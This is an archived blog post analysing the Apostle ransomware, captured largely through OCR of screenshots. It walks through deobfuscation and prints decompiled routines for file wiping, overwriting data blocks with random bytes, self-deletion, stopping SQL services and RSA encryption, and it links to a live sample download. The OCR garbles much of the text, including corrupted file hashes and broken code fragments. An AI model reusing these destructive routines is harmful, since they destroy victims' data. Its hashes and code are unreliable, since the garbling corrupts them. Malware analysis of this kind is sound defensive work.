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Apostle Ransomware Analysis

By cyberpunkleigh

Published: 2021-05-27 - Archived: 2026-04-05 14:28:07 UTC

Here we go another ransomware writeup

Small note sorry if not the best quality I am new to blogging and working on improving!

What is this Ransomware?

Apostle ransomware appears to be a ransomware connected with attacks on israel with IOC’s many reports

pointing towards Iran APTs but also a group formed in 2020 dubbed “Agrius“.
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This ransomware is another one developed in .NET which as seen recently is starting to become a trend which is

very good for us not so good for the bad guy.

» Filename(s): Apostle.exe / alldata-3.5.exe
 File Hash: 19DBED996B1A814658BEF433BAD62B03E5C59C2BF2351B793D1A5D4A5216D27E
e Sample Download: https://vxug.fakedoma.in/samples/Exotic/NonAPTs/Agrius/Agrius.zip

e Scan Online: https://www.malwares.com/report/file?
hash=19DBED996B1A814658BEF433BAD62B03E5C59C2BF2351B793D1A5D4A5216D27E

We got the sample, and now what?

The first thing I did upon getting the sample was to look on VirusTotal to try and identify some key information
such as what language was used to write the malware, In this case we discovered that it has been identified by a

few of the detection’s on VirusTotal as shown below.

Basic Properties

MD5S 851b7b8dd006dc889bf89282dcB53ce

SHA-1 be2dd26946bc0calecB683568de73a5852d79235

SHA-256 19dbed?96b1a814658bef433badé2b03e5c59c2bi23510793d1a5d4a5216d27e

Vhash 2940346751511708f20d1022

Authentihash  d250f52395fa201de85b173Tbé4d4d77e5306c502b0dedaac39fcf3414b0191f

Imphash f34d5f2d4577edéd?ceechlbciibariad

SSDEEP 1536:rgWedYMy7AEoE7AT7c 3wy FgycB099vPMEKDHLVVLJUgWTB8sCPLOVWIS 0w/ W irgWox O 7Y 7c3HFgRBGEMZD ZVLKzBewbw+
TLSH TID&93F128B384CF66D5DI0ATCACBIF5570338E24B0503FFAASECOADASSFE3FF453A1565
File type Win32 EXE

Magic PE32 executable for MS Windows (GUI) Intel 80384 32-bit Mono/.Net assembly

TriD Generic CIL Executable (NET, Mono, etc.) (61.4%)

TriD Windows screen saver (11%)

TrD Winé&4 Executable (generic) (8.8%)

TriD Win32 Dynamic Link Library (generic) (5.5%)

TriD Win1é NE executable (generic) (4.2%)

File size 90.50 KB (92672 bytes)

PEID packer .NET executable

The above image displays some great news about the malware, .NET is normally very trivial to decompile and get

a understanding of what is actually going on with tools such as:

Decompiling the executable

Using the tool “ILSpy” I loaded my fresh sample to see what we could find inside the code maybe some juicy

details or maybe we can look at the methods involved or just pull some juicy information.
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=53 |LSpy

File View Window Help

(] 2 ) | (Default) c# v CEI0/VS20198Y | QDD @ O
Assemblies PublicVariable
+ -0 19dbedd96b1a814658bef433badb2b03e5c50c2bf; // Apostle.PublicVariable
+- 8B mscorlib (4.0.0.0, NETFramework, v4.0) +using |...
+ =B .0, METFrarmewaork, v4.0) . . . .
i METFramework v4.0) public static class PublicVariable
i NETFramework, v4.0) public static List<string> ExcludePathlist = new List<string>
+ METFramework, 1 | )
+- -8 Systern,Core 0, NETFramewaork, v4.0)
= "B 19dbed996b1a814658bef433bad62b053e5c59c2bf: [CompilerGenerated]
+ HIE Metadata private static string uBM= = string.Empty;
+ " References
5 Resources public static string EncryptionKey
B B + aoc
+4{} -
=} ‘3hM:‘ll public static string ReadMeFileName => oRM=.pxM=;
+ %% IRM=
= {} Apostle public static string DesktopFileName => oRM=.gBM=;
+ oa Model T

+ ¥z PublicFunction
%
+ 3 RsaClass
+ ¥ Util

- {} ohM=

*% 1EM=

*% oRfM=

gRM=

v
v

“% RM
v
v

sRM=
thiv=
% vBM=
% M=
=1} th4=

+ % tjd=

+ o+ o+ o+ o+ o+ o+t

What a surprise its obfuscated

OH NO ITS OBFUSCATED!?!

Lets give it a good ol’ rub with de4dot and see if it detects and deobfuscates it, there is no way this is going to
work right all these AdVaNcEd ThReAt AcToRs would be using custom obfuscation to prevent an ancient tool

from working?!?

B C:\Windows\System32\cmd.exe

OH NO IT WORKED
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=53 |L5py
File View Window Help
e 2 U (Defal) v fa | o

Assemblies

~ 1
= =B 19dbed%96b1al14658bef433badb2b03e53c50c2biz

2 -

cEoo/vs20198e Y | QS & 0

PublicVariable
[/ Apostle.PublicVariable

+ B Metadata Husing |.. .|
+ /" References . . : :
+ R public static class PublicWariable
ESOUNCES =N

#{}- public static List<strings ExcludePathlist = new List<string:
-{} Apostle ¥ ,

+ oa Model )

+ ¥z PublicFunction CompilerGenerated

P

e A PublicVariable private static string string 8 = string.Empty;

+ 1z RsaClass

+ % Ul il public static string EncryptionkKey
+ {} nsD
+{} ns1

public static string ReadMeFileName => Class@.string 4;
=B mscorlib (4.0.0.0, .METFramework, v4.0)

=B Systern.Drawing (4.0.0.0, .METFramewark, v4.0)

"B System (4.0.0.0, MNETFramework, v4.0) }
B System.dml (4.0.0.0, METFramework, v4.0)

+- 0B Systern,ServiceProcess (4.0.0.0, NETFramewaork, 1

+- 8B Systern.Core (4.0.0.0, NETFramework, v4.0)

public static string DesktopFileName => Class@.string 5;

+ o+ + o+

Its just free code for us to look at

Okay we are deobfuscated let take a look around

First of all lets take a look and see if we can find any kind of unique strings or indicators.

tring string @ = <AgileDotNetAT>.smethod_@( "M\UBES2IXLA\T\UBREY \LUBE1SEH\ UBBLCSHISHI \UBAE2E \UPBOEDEC PLF\BI\LBRRZWRET \UBe17PRd\LBESe” 1K\ LUBBR1CH, | UBBLA4 WeRS ST\ "8\ weea30g 40\ ueeezx Al
ring string 1 = cAgileDotNetAT>. smethod_0("+\u08abion") ;

ng string_2 = <AgileDotletRT>. smethod_0("BEEyt]1s Z\uboa3IuT | \uBOEE \ueass"™) ;

ng string 3 = <AgileDotlietAT>. smethod_6("+fciir ' 24<, PludeB1 \ubBbEIUS \ubBE1™ \uBeBTTA- \uBGE3]E 2\u6817\uB0O4Y™ \uBB1BGIAL \wER15D" - \uBbBe" -¥\vE, 751DT)a" \ubBs3onNAz\ uBBBAIE_DSI0\UGGE
ng string 4 = <AgileDotNetAT>. smethod_8( *Z\uBbBAbbLP\LBBAS\UBBIE_2 i~ \uBBLELrIE") ;

public static string string_§ = <AgileDotlctRT». smethod_8("Z\uBBbSUBFga3joi-EnP2_");

Ugh the strings are obfuscated lets find how strings are used

—using System;
using System.Text;

internal static string smethod_@(string string_8)

lock (sc)
if (sc.ContainsKey(string_8))

return (string)sc[string_a];
¥
StringBuilder stringBuilder = new StringBuilder();
for (int 1 = @8; i <« string @.Length; i++)

{
b

sc[string_8] = stringBuilder.ToString();
return stringBuilder.ToString();

stringBuilder.Append(Convert.ToChar(string_8[i] ~ byte 8[1i ¥ byte 8.Length])):

i)

Here is a simple XOR string function inside that references SC
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static <AgileDotNetRT>()
11
sc = new Hashtable();
byte & = new byte[1l86]
- i
5, 231, 131, 187, 35, 28, 91, 71, 18, 31,
54, 243, 158, 121, 5@, 215, 47, 25, 184, 57,
234, 132, 243, 47, 238, 23, 72, 57, 63, 182,
189, 151, 113, 36, 191, 161, 171, 55, 183, 3,
212, 1es, 5, 153, 196, 1@4, 171, 72, 77, 218,
8@, 179, 213, 77, 21, 128, 242, 83, 211, 11,
2@2, 34, 8, 178, 176, 158, 129, 113, 184, 144,
43, 246, 96, 181, 99, 128, 126, 98, 185, 126,
187, 254, 235, 99, 22, 185, 192, 36, 14, 63,
173, 88, 99, 171, 55, 178, 97, 98, 231, 38
HH
1

SC is just a XOR index table with SC being a cached version assuming to be StringCache

Thanks for the string method

Now lets yoink this method and put it all together in a simple C# app

As you can see here it has worked

Self Deletion

Here is the way that it deletes itself after run it creates a .bat file to bypass file locks

Setting process tokens
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tTokenPrivs flag

GetcurrentProces

This method attempts to set token privs to one that allows SeShutdownPrivilege

File Destruction

filename)

filename);
Attributes.Normal);
les ileInfo.FullName, Fi , Fileax i i re.None))
fileStream.Position
s
if (fileStream.Length > num)
1.8) - 1L}
yfilestream. Length / ( Jnum} ;

num2; i++)

| 1(filestream, i, num, damageBloc

unkmethod_2(filestream.Length, fil
filestream.SetLength({eL);

SetCreationTime
LastAccessTi

dateTime
= LastWriteTimeUtc(filename, dateTime);
fileInfo.Delete(

A way to flag for files also would be using this timestamp as identifier: 2037, 1, 1, 0, 0, 0
“Y,M,D,H,M,S”

Making sure it only runs once

IsFirstInstance()

dNew) ;

This function is called and generates a MUTEX for preventing multiple runs
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Encryption Key

private static void Main(string[] args)
1

Util util = new Util(};

if (lutil.IsFirstInstance())

1
return;
by
if (args.Length != @)
i

PublicvVariable.EncryptionKey = args[@];

Encryption key is passed in as a command line argument
Stopping SQL services

public void method 1(string serviceName, int waitingTime = 18808)

=
ServiceController serviceController = new ServiceController(serviceName);
try
{
TimeSpan timeout = TimeSpan.FromMilliseconds(waitingTime};
serviceController.Stop();
serviceController.WaitForStatus(ServiceControllerStatus.Stopped, timeout);
¥
catch (Exception ex)
1
throw new Exception(ex.Message);
¥
b

This is the stop function which the below screenshot uses

try
if (item.ToLower().IndexOf(<AgileDotNetRT>.smethod_8("v\u@896i"), StringComparison.Ordinal) != -1}
@class.method_1(item);
¥
catch
1
i

v\u0096i turns into “SQL”

RSA Encryption
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public class RsaClass

{
private RSAParameters method_@(string stringData)
{
StringReader textReader = new StringReader(stringData);
return (RSAParameters)new XmlSerializer(typeof(RSAParameters)).Deserialize(textReader);
}
public string Encrypt(string plainTextData, string rsaKey, bool doOaepPadding = false)
1
byte[] bytes = Convert.FromBaseb4String(rsakey);
rsakey = Encoding.Default.GetString(bytes);
using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider();
rSACryptoServiceProvider. ImportParameters(method _@(rsakey));
byte[] bytes2 = Encoding.Unicode.GetBytes(plainTextData);
return Convert.ToBase64String(rSaCryptoServiceProvider.Encrypt(bytes2, doOaepPadding));
b
1

This function handles RSA Encryption

Damaging data blocks

;:;.ing System.I0;
private void method_1(FileStream fileStream, int blockNumber, long blockSize, long damageBlock)
filestream.Position = blocksize * blockNumber;
long damagePositionEnd = ((fileStream.Position + damageBlock > fileStream.Length) * fileStream.Length : (fileStream.Position + damageBlock));

method_2(damagePositionEnd, fileStream);

}

Function to literally damage data blocks

private woid method_2(long damagePositionEnd, FileStream fileStream)

"
byte[] array = new byte[4896];
new RNGCryptoServiceProvider().GetBytes(array);
while (fileStream.Position < damagePositionEnd)
1

fileStream.Write(array, @, array.Length);

¥

1

I hope maybe you learned something or just enjoyed looking at the pretty

screenshots <333

Credits:

» SentinelOne — For great research and publication regarding this malware

e https://twitter.com/SentinelOne

o https://labs.sentinelone.com/from-wiper-to-ransomware-the-evolution-of-agrius/

e vx-underground — Hosting the samples and generally having an awesome community

e https://twitter.com/vxunderground

e https://vx-underground.org/samples.html

Published May 27, 2021May 27, 2021
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